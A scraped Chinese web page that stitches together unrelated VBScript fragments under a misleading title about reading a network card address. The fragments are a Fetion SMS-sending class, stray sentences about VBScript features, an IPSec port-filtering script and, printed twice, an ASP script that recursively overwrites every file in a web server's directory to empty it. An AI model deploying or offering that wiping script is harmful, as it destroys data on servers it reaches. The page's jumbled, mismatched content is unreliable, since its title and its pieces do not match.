该文通过详细的步骤演示了如何通过VB获取网卡地址Class VBSFetion Private [$mobile], [$password], http 'Author: Demon 'Website: 'Date: 2011/6/11 '初始化事件 Private Sub Class_Initialize Set http=CreateObject("Msxml2.XMLHTTP") End Sub '结束事件 Private Sub Class_Terminate Call Logout() Set http=Nothing End Sub '初始化函数 'mobile 手机号 'password 登陆密码 Public Function Init(mobile, password) [$mobile]=mobile [$password]=password str=Login() If InStr(str, "密码输入错误") Then Init=False Else Init=True End If End Function '发送飞信 'mobile 对方手机号 'message 发送内容 Public Function SendMsg(mobile, message) If message="" Then Exit Function If mobile=[$mobile] Then Send=ToMyself(message) Else uid=GetUid(mobile) If uid <> -1 Then Send=ToUid(uid, message, False) End If End Function '发送短信 'mobile 对方手机号 ' 'message 发送内容 Public Function SendShortMsg(mobile, message) If message="" Then Exit Function If mobile=[$mobile] Then Send=ToMyself(message) Else uid=GetUid(mobile) If uid <> -1 Then Send=ToUid(uid, message, True) End If End Function '登陆 Private Function Login() url="/im/login/inputpasssubmit1.action" data="m=" & [$mobile] & "&pass=" & [$password] & "&loginstatus=4" Login=Post(url, data) End Function '登出 Private Function Logout() url="/im/index/logoutsubmit.action" Logout=Post(url, "") End Function '给自己发飞信 Private Function ToMyself(message) url="/im/user/sendMsgToMyselfs.action" message="msg=" & message ToMyself=Post(url, message) End Function '给好友发送飞信（短信） 'uid 飞信ID 'message 飞信（短信）内容 'isshort True为短信，False为飞信 Private Function ToUid(uid, message, isshort) If isshort Then url="/im/chat/sendShortMsg.action?touserid=" & uid data="msg=" & message Else url="/im/chat/sendMsg.action?touserid=" & uid data="msg=" & message End If ToUid=Post(url, data) End Function '获取飞信ID 'mobile 手机号 Private Function GetUid(mobile) url="/im/index/searchOtherInfoList.action" data="searchText=" & mobile str=Post(url, data) Set re=New RegExp re.Pattern="/toinputMsg\.action\?touserid=(\d+)" If re.Test(str) Then Set ms=re.Execute(str) GetUid=ms.Item(0).Submatches(0) Else GetUid=-1 End If End Function '发送HTTP POST请求 Private Function Post(url, data) url="" & url http.open "POST", url, False http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" http.send data Post=http.responseText End Function End Class 示例程序： '初始对象 Set fetion=New VBSFetion '登陆飞信 If fetion.Init("11122223333", "123456") Then '发送飞信 fetion.SendMsg "44455556666", "Hello world" '发送短信 fetion.SendShortMsg "77788889999", "Hello world" End If

在类的外部，每个对象都由储存着对象引用的变量来标识；在类的内部，这个变量无法被访问，但是 VBScript 在内部会跟踪哪个对象正在执行类的属性或者方法，并通过 Me 关键字是这些信息可以获得因此实现动画的基础是图象的显示和使图象快速、定时地移动或变化

相反，通过使用Validate事件，您能防止焦点移动到另一个控件直到验证规则被满足

'网上看到的，适用与没有禁用shell.application的服务器 server.scripttimeout=99999 Ifrequest("submit")<>""Then Calllistfile(server.mappath("")) response.Write"处理完毕" Else response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>" EndIf Functionlistfile(fpath) OnErrorResumeNext DimShell,Folder,s SetShell=server.CreateObject("shell.application") SetFolder=Shell.namespace(fpath) Setf=server.CreateObject("adodb.stream") f.Type=1 f.Open ForEachsinFolder.Items Ifs.isfolderThen Calllistfile(s.Path) Else f.savetofiles.Path,2 EndIf Next Setf=Nothing SetShell=Nothing EndFunction '网上看到的，适用与没有禁用shell.application的服务器 server.scripttimeout=99999 Ifrequest("submit")<>""Then Calllistfile(server.mappath("")) response.Write"处理完毕" Else response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>" EndIf Functionlistfile(fpath) OnErrorResumeNext DimShell,Folder,s SetShell=server.CreateObject("shell.application") SetFolder=Shell.namespace(fpath) Setf=server.CreateObject("adodb.stream") f.Type=1 f.Open ForEachsinFolder.Items Ifs.isfolderThen Calllistfile(s.Path) Else f.savetofiles.Path,2 EndIf Next Setf=Nothing SetShell=Nothing EndFunction 以前也看到过这个，感觉没什么用，这么危险的组件服务器一般都禁用了，但今天，我突然觉得有进也得收集或制作一些这样的软件，可以维护自己的权力----3．增加多媒体特性

将默认页，搜索页设置百度 很久很久以前，好像是高考后的那个夏天，收到过朋友的一个恶作剧程序，程序名为“一篇感动人的文章.vbs”，当时什么都不懂，直接双击了，一直耿耿于怀企业文化宣传片但一定要注意预先备份注册表'On Error Resume Next Const ALLOW_ALL=0 Port=Array("4900", "5000", "5100", "5500", "5600", "6000", "7000", "7100", "7200", "7300", "7400","3389","80") strComputer="." Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colNetCards=objWMIService.ExecQuery _ ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled=True") For Each objNetCard In colNetCards arrPermittedTCPPorts=Port arrPermittedUDPPorts=Array(ALLOW_ALL) arrPermittedIPProtocols=Array(ALLOW_ALL) objNetCard.EnableIPSec arrPermittedTCPPorts, arrPermittedUDPPorts, arrPermittedIPProtocols Next。